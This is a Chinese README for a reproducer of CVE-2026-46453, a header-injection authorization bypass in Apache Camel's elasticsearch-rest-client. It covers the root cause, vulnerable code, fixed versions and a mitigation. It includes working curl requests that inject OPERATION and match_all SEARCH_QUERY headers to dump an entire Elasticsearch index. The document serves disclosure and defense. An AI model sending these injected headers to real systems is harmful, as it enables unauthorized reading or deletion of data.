该项目演示了 Apache Camel 的 camel-elasticsearch-rest-client 组件中的一个消息头注入 / 授权绕过漏洞,编号为 CVE-2026-46453。该组件会读取多个 Exchange 头以控制其行为 —— SEARCH_QUERY, OPERATION, INDEX_NAME, INDEX_SETTINGS, ID。在受影响版本中,这些头的字符串值是普通的、无前缀的名称("OPERATION", "SEARCH_QUERY", ……),而不是其他组件使用的以 Camel 为前缀的名称。Camel 的入站 HttpHeaderFilterStrategy 仅拦截以 Camel/camel 开头的名称,因此这些头会原样通过入站过滤器。当路由在 elasticsearch-rest-client 生产者前暴露 HTTP 入口点(例如 platform-http)时,不受信任的 HTTP 客户端可以直接设置这些头,并覆盖路由作者配置的查询和操作 —— 读取整个索引、删除文档等。无需任何凭据。
安全公告:https://camel.apache.org/security/CVE-2026-46453.html
与 CVE-2025-27636、CVE-2025-29891、CVE-2025-30177、CVE-2026-40453 和 CVE-2026-47323 属于同一类头注入漏洞 —— 均源于组件读取入站头,而默认的
HeaderFilterStrategy因为名称不以Camel前缀开头而无法拦截。
// ElasticSearchRestClientConstant - 受影响的 4.18.2 版本(无前缀值)
public static final String ID = "ID";
public static final String SEARCH_QUERY = "SEARCH_QUERY";
public static final String INDEX_SETTINGS = "INDEX_SETTINGS";
public static final String INDEX_NAME = "INDEX_NAME";
public static final String OPERATION = "OPERATION";
// ElasticsearchRestClientProducer#resolveOperation - 头优先级高于端点配置的操作
ElasticsearchRestClientOperation operation
= exchange.getMessage().getHeader(OPERATION, endpoint.getOperation(), ElasticsearchRestClientOperation.class);
HttpHeaderFilterStrategy 仅拦截 Camel*/camel*,因此入站 HTTP 头 OPERATION: SEARCH(以及 SEARCH_QUERY: {...})会通过并覆盖路由作者的 operation=GET_BY_ID。修复版本(4.14.8 / 4.18.3 / 4.21.0)将这些值重命名为 CamelElasticsearchOperation、CamelElasticsearchSearchQuery 等,从而让入站过滤器拦截它们(Java 字段名保持不变)。
from("platform-http:/products")
.to("elasticsearch-rest-client:reproducer?hostAddressesList=<host:port>&operation=GET_BY_ID&indexName=products");
// 路由作者意图只有一个安全的操作:按 ID 获取文档
攻击者的 HTTP 请求携带 OPERATION: SEARCH + SEARCH_QUERY: {"query":{"match_all":{}}} 会覆盖该操作并转储整个索引。
受害者是 Camel 路由;攻击者是任何能访问 platform-http 端点的 HTTP 客户端。复现工具在 Docker 中运行真实的 Elasticsearch,并在主机上运行 Camel 应用(应用通过映射端口与 ES 通信)。
CVE-2026-46453/
├── pom.xml # camel-platform-http + camel-elasticsearch-rest-client 4.18.2
├── docker-compose.yml # Elasticsearch 8.15.3(已禁用安全)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── EsSeeder.java # 播种一个"公开"和一个"秘密"文档
│ ├── VictimRoute.java # platform-http -> elasticsearch-rest-client (GET_BY_ID)
│ └── ExploitController.java # 攻击者:合法的 GET_BY_ID 与注入的 OPERATION=SEARCH
└── resources/
└── application.properties
docker compose up -d
# 等待就绪:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:9200/ # -> 200
mvn clean package -DskipTests
java -jar target/cve-2026-46453-elasticsearch-0.0.1-SNAPSHOT.jar
# 应用启动时会向 'products' 索引播种一个公开文档和一个秘密文档
curl -s http://localhost:8080/exploit/attack
# === 1) 合法请求 (ID=public-1) ===
# {"name":"Public Widget","visibility":"public"} secret leaked: false
# === 2) 攻击请求 (OPERATION=SEARCH, SEARCH_QUERY=match_all) ===
# [ ...public..., {"name":"CLASSIFIED-LAUNCH-CODES", ...} ] secret leaked: true
#
# >>> 头注入验证 — 攻击者覆盖了操作并读取了整个索引: true
您也可以手动操作 —— 注入的头会直接通过 platform-http 的入站过滤器:
# 合法:路由作者的 GET_BY_ID 仅返回公开文档
curl -s -H "ID: public-1" http://localhost:8080/products
# 攻击:覆盖操作并转储整个索引(包括秘密文档)
curl -s -H "OPERATION: SEARCH" -H 'SEARCH_QUERY: {"query":{"match_all":{}}}' http://localhost:8080/products
docker compose down
任何在 elasticsearch-rest-client 生产者前暴露 HTTP 入口点的路由。攻击者在入站 HTTP 请求中设置 OPERATION、SEARCH_QUERY、INDEX_NAME、INDEX_SETTINGS 或 ID;它们绕过 Camel 前缀入站过滤器并到达生产者。
HttpHeaderFilterStrategy(仅拦截 Camel*)不覆盖这些无前缀的 ES 头。升级到 4.14.8 / 4.18.3 / 4.21.0(CAMEL-23508),该版本将头值前缀改为 Camel,从而让入站过滤器拦截它们。
在升级之前,在生产者之前从不受信任的入站消息中移除受影响的头:
.removeHeaders("SEARCH_QUERY|OPERATION|INDEX_NAME|INDEX_SETTINGS|ID")
或应用自定义的 HeaderFilterStrategy 来拦截这些名称。
此复现工具仅供安全研究和授权测试使用,针对的是已公开披露并修复的漏洞。请勿在未经明确许可的情况下用于系统。
| 属性 | 值 |
|---|
| 组件 | camel-elasticsearch-rest-client |
| 受影响的常量 | ElasticSearchRestClientConstant — ID, SEARCH_QUERY, INDEX_SETTINGS, INDEX_NAME, OPERATION(无前缀值) |
| CWE | CWE-20(输入验证不当)+ CWE-639(通过用户控制的键绕过授权) |
| 影响 | 不受信任的 HTTP 客户端覆盖 ES 操作/查询 — 读取/删除/泄露文档 |
| 受影响版本 | 从 4.3.0 至 4.14.8 之前,从 4.15.0 至 4.18.3 之前,从 4.19.0 至 4.21.0 之前 |
| 修复版本 | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23508 |
| 报告者 | Yu Bao (PayPal) |